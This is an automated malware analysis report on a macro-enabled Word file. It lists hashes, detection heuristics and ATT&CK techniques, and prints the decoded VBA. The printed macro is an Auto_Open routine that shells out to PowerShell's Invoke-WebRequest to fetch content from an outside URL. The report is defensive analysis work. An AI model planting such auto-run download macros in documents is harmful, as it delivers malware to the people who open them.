Malicious Office (OOXML) — malware analysis report

Static analysis result for SHA-256 631513f4fe063a7c…

MALICIOUS

Office (OOXML)

15.2 KB Created: 2021-06-04 03:50:00 UTC Authoring application: Microsoft Office Word 15.0000 First seen: 2021-06-13
MD5: 41adcbf48f621045bef9d3d0f06df20b SHA-1: 5a50a745374fa298e742ec59e118b1b2e45752dd SHA-256: 631513f4fe063a7c5ccf6df68f5d9791bd78a065e58ff19d87cdb0026b5ff816
310 Risk Score

Malware Insights

MITRE ATT&CK
T1059.001 PowerShell T1566.001 Spearphishing Attachment T1203 Exploitation for Client Execution

The sample contains a VBA macro with an Auto_Open subroutine that executes a PowerShell command. This command is designed to download content from the URL "https://dropbox.com/" and execute it. The presence of the Auto_Open macro and the Shell() call strongly indicate a malicious intent to download and run a secondary payload.

Heuristics 7

  • ClamAV: Doc.Downloader.Pwshell-10001336-0 critical CLAMAV_DETECTION
    ClamAV detected this file as malware: Doc.Downloader.Pwshell-10001336-0
  • VBA project inside OOXML medium 4 related findings OOXML_VBA
    Document contains a VBA project — VBA macros present
  • Potential Shell call in VBA critical OLE_VBA_SHELL
    Potential Shell call in VBA
    Matched line in script
    exec = "powershell.exe ""Invoke-WebRequest -URI https://dropbox.com/ -UseBasicParsing"""
Shell (exec)
End Sub
  • PowerShell reference in VBA critical OLE_VBA_PS
    PowerShell reference in VBA
    Matched line in script
    Dim exec As String
exec = "powershell.exe ""Invoke-WebRequest -URI https://dropbox.com/ -UseBasicParsing"""
Shell (exec)
  • VBA p-code auto-exec with execution tokens high OLE_VBA_PCODE_AUTOEXEC_EXEC
    Compiled VBA/cache stream contains an auto-execution token together with shell/download/object-execution tokens. This catches p-code-only or source-extraction-failure macro documents where visible source is unavailable.
  • Auto_Open macro low OLE_VBA_AUTO
    Auto_Open macro
    Matched line in script
    Attribute VB_Name = "NewMacros"
Sub Auto_Open()
Dim exec As String
  • Embedded URL info EMBEDDED_URL
    One or more URLs were extracted from the document. The URL itself is not a detection — see the per-URL labels for which channel (macro, JS, link annotation, document body, ...) reached each URL.
    URL https://dropbox.com/ In document text (OOXML body / shared strings)
    • http://schemas.microsoft.com/office/word/2010/wordprocessingCanvasIn document text (OOXML body / shared strings)
    • http://schemas.openxmlformats.org/markup-compatibility/2006In document text (OOXML body / shared strings)
    • http://schemas.openxmlformats.org/officeDocument/2006/relationshipsIn document text (OOXML body / shared strings)
    • http://schemas.openxmlformats.org/officeDocument/2006/mathIn document text (OOXML body / shared strings)
    • http://schemas.microsoft.com/office/word/2010/wordprocessingDrawingIn document text (OOXML body / shared strings)
    • http://schemas.openxmlformats.org/drawingml/2006/wordprocessingDrawingIn document text (OOXML body / shared strings)
    • http://schemas.openxmlformats.org/wordprocessingml/2006/mainIn document text (OOXML body / shared strings)
    • http://schemas.microsoft.com/office/word/2010/wordmlIn document text (OOXML body / shared strings)
    • http://schemas.microsoft.com/office/word/2012/wordmlIn document text (OOXML body / shared strings)
    • http://schemas.microsoft.com/office/word/2010/wordprocessingGroupIn document text (OOXML body / shared strings)
    • http://schemas.microsoft.com/office/word/2010/wordprocessingInkIn document text (OOXML body / shared strings)
    • http://schemas.microsoft.com/office/word/2006/wordmlIn document text (OOXML body / shared strings)
    • http://schemas.microsoft.com/office/word/2010/wordprocessingShapeIn document text (OOXML body / shared strings)

Extracted artifacts 2

Files carved from inside the sample during analysis.

FilenameKindSourceSize
macros.bas vba-macro oletools.olevba.extract_macros (decoded VBA source from OOXML) 470 bytes
SHA-256: be4d0dcfa45a187dc80c16308531b26b528c1ac92e20b6d4b75ae7bd8ce3d5e7
Preview script
First 1,000 lines of the extracted script
Attribute VB_Name = "ThisDocument"
Attribute VB_Base = "1Normal.ThisDocument"
Attribute VB_GlobalNameSpace = False
Attribute VB_Creatable = False
Attribute VB_PredeclaredId = True
Attribute VB_Exposed = True
Attribute VB_TemplateDerived = True
Attribute VB_Customizable = True

Attribute VB_Name = "NewMacros"
Sub Auto_Open()
Dim exec As String
exec = "powershell.exe ""Invoke-WebRequest -URI https://dropbox.com/ -UseBasicParsing"""
Shell (exec)
End Sub
vbaProject_00.bin vba-project OOXML VBA project: word/vbaProject.bin 8704 bytes
SHA-256: 180825f311152bd0ca62036be7be482c21d5deb82b5f92b75c81f8aad860b0c7
Detection
ClamAV: Doc.Downloader.Pwshell-10001336-0
Obfuscation or payload: unlikely

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